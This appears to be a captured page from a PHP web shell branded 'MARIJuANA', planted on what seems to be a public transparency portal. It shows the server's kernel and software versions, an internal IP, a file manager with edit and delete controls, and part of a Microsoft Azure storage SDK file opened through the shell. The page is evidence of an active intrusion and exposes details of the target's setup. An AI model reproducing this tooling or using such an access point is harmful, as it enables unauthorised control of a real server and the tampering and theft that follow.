MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/guajeru/transparencia/assets/ckfinder/core/connector/php/vendor/microsoft/azure-storage/src/Common/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
Exceptions dir drwxr-xr-x 2021-07-19 13:06 R D
Internal dir drwxr-xr-x 2021-07-19 13:06 R D
Middlewares dir drwxr-xr-x 2021-07-19 13:06 R D
Models dir drwxr-xr-x 2021-07-19 13:06 R D
CloudConfigurationManager.php 4.77 KB -rw-r--r-- 2021-07-19 12:56 R E G D
LocationMode.php 1.826 KB -rw-r--r-- 2021-07-19 12:56 R E G D
Logger.php 2.122 KB -rw-r--r-- 2021-07-19 12:56 R E G D
MarkerContinuationTokenTrait.php 3.15 KB -rw-r--r-- 2021-07-19 12:56 R E G D
ServicesBuilder.php 16.404 KB -rw-r--r-- 2021-07-19 12:56 R E G D
SharedAccessSignatureHelper.php 32.503 KB -rw-r--r-- 2021-07-19 12:56 R E G D
REQUEST EXIT
* @copyright Microsoft Corporation * @license https://github.com/azure/azure-storage-php/LICENSE * @link https://github.com/azure/azure-storage-php */ namespace MicrosoftAzure\Storage\Common; use MicrosoftAzure\Storage\Common\Internal\Resources; use MicrosoftAzure\Storage\Common\Internal\Utilities; use MicrosoftAzure\Storage\Common\Internal\Validate; use MicrosoftAzure\Storage\Common\Models\AccessPolicy; /** * Provides methods to generate Azure Storage Shared Access Signature * * @category Microsoft * @package MicrosoftAzure\Storage\Common\Internal\Authentication * @author Azure Storage PHP SDK * @copyright 2017 Microsoft Corporation * @license https://github.com/azure/azure-storage-php/LICENSE * @link https://github.com/azure/azure-storage-php */ class SharedAccessSignatureHelper { protected $accountName; protected $accountKey; /** * Constructor. * * @param string $accountName the name of the storage account. * @param string $accountKey the shared key of the storage account * * @return * MicrosoftAzure\Storage\Common\SharedAccessSignatureHelper */ public function __construct($accountName, $accountKey) { Validate::canCastAsString($accountName, 'accountName'); Validate::notNullOrEmpty($accountName, 'accountName'); Validate::canCastAsString($accountKey, 'accountKey'); Validate::notNullOrEmpty($accountKey, 'accountKey'); $this->accountName = urldecode($accountName); $this->accountKey = $accountKey; } /** * Helper function to generate a service shared access signature. * * This only supports version 2015-04-05 and later. * * @param string $signedService The service type of the SAS. * @param string $signedResource Resource name to generate the * canonicalized resource. * @param string $resourceName The name of the resource. * @param string $signedPermissions Signed permissions. * @param \Datetime|string $signedExpiry Signed expiry date. * @param \Datetime|string $signedStart Signed start date. * @param string $signedIP Signed IP address. * @param string $signedProtocol Signed protocol. * @param string $signedIdentifier Signed identifier. * @param string $cacheControl Cache-Control header (rscc). * @param string $contentDisposition Content-Disposition header (rscd). * @param string $contentEncoding Content-Encoding header (rsce). * @param string $contentLanguage Content-Language header (rscl). * @param string $contentType Content-Type header (rsct). * @param string $startingPartitionKey Minimum partition key. * @param string $startingRowKey Minimum row key. * @param string $endingPartitionKey Maximum partition key. * @param string $endingRowKey Maximum row key. * * @see Constructing an service SAS at * https://docs.microsoft.com/en-us/rest/api/storageservices/constructing-a-service-sas * @return string */ private function generateServiceSharedAccessSignatureToken( $signedService, $signedResource, $resourceName, $signedPermissions, $signedExpiry, $signedStart = "", $signedIP = "", $signedProtocol = "", $signedIdentifier = "", $cacheControl = "", $contentDisposition = "", $contentEncoding = "", $contentLanguage = "", $contentType = "", $startingPartitionKey = "", $startingRowKey = "", $endingPartitionKey = "", $endingRowKey = "" ) { //Since every version of client library should only be able to generate //the same service version as its targets, the signed version is fixed here. $signedVersion = Resources::STORAGE_API_LATEST_VERSION; // check that the resource name is valid. Validate::notNullOrEmpty($resourceName, 'resourceName'); Validate::canCastAsString($resourceName, 'resourceName'); // validate and sanitize signed permissions $signedPermissions = $this->validateAndSanitizeSignedPermissions( $signedPermissions, $signedResource ); // check that expiracy is valid if ($signedExpiry instanceof \Datetime) { $signedExpiry = Utilities::isoDate($signedExpiry); } Validate::notNullOrEmpty($signedExpiry, 'signedExpiry'); Validate::canCastAsString($signedExpiry, 'signedExpiry'); Validate::isDateString($signedExpiry, 'signedExpiry'); // check that signed start is valid if ($signedStart instanceof \Datetime) { $signedStart = Utilities::isoDate($signedStart); } Validate::canCastAsString($signedStart, 'signedStart'); if (strlen($signedStart) > 0) { Validate::isDateString($signedStart, 'signedStart'); } // check that signed IP is valid Validate::canCastAsString($signedIP, 'signedIP'); // validate and sanitize signed protocol $signedProtocol = $this->validateAndSanitizeSignedProtocol($signedProtocol); // check that signed identifier is valid Validate::canCastAsString($signedIdentifier, 'signedIdentifier'); Validate::isTrue( strlen($signedIdentifier) <= 64, sprintf(Resources::INVALID_STRING_LENGTH, 'signedIdentifier', 'maximum 64') ); //Categorize the type of the resource for future usage. $type = ''; if ($signedService == Resources::RESOURCE_TYPE_BLOB || $signedService == Resources::RESOURCE_TYPE_FILE ) { $type = 'bf'; } elseif ($signedService == Resources::RESOURCE_TYPE_TABLE) { $type = 't'; } if ($type === 'bf') { Validate::canCastAsString($cacheControl, 'cacheControl'); Validate::canCastAsString($contentDisposition, 'contentDisposition'); Validate::canCastAsString($contentEncoding, 'contentEncoding'); Validate::canCastAsString($contentLanguage, 'contentLanguage'); Validate::canCastAsString($contentType, 'contentType'); } elseif ($type === 't') { Validate::canCastAsString($startingPartitionKey, 'startingPartitionKey'); Validate::canCastAsString($startingRowKey, 'startingRowKey'); Validate::canCastAsString($endingPartitionKey, 'endingPartitionKey'); Validate::canCastAsString($endingRowKey, 'endingRowKey'); } // construct an array with the parameters to generate the shared access signature at the account level $parameters = array(); $parameters[] = urldecode($signedPermissions); $parameters[] = urldecode($signedStart); $parameters[] = urldecode($signedExpiry); $parameters[] = urldecode(static::generateCanonicalResource( $this->accountName, $signedService, $resourceName )); $parameters[] = urldecode($signedIdentifier); $parameters[] = urldecode($signedIP); $parameters[] = urldecode($signedProtocol); $parameters[] = urldecode($signedVersion); if ($type === 'bf') { $parameters[] = urldecode($cacheControl); $parameters[]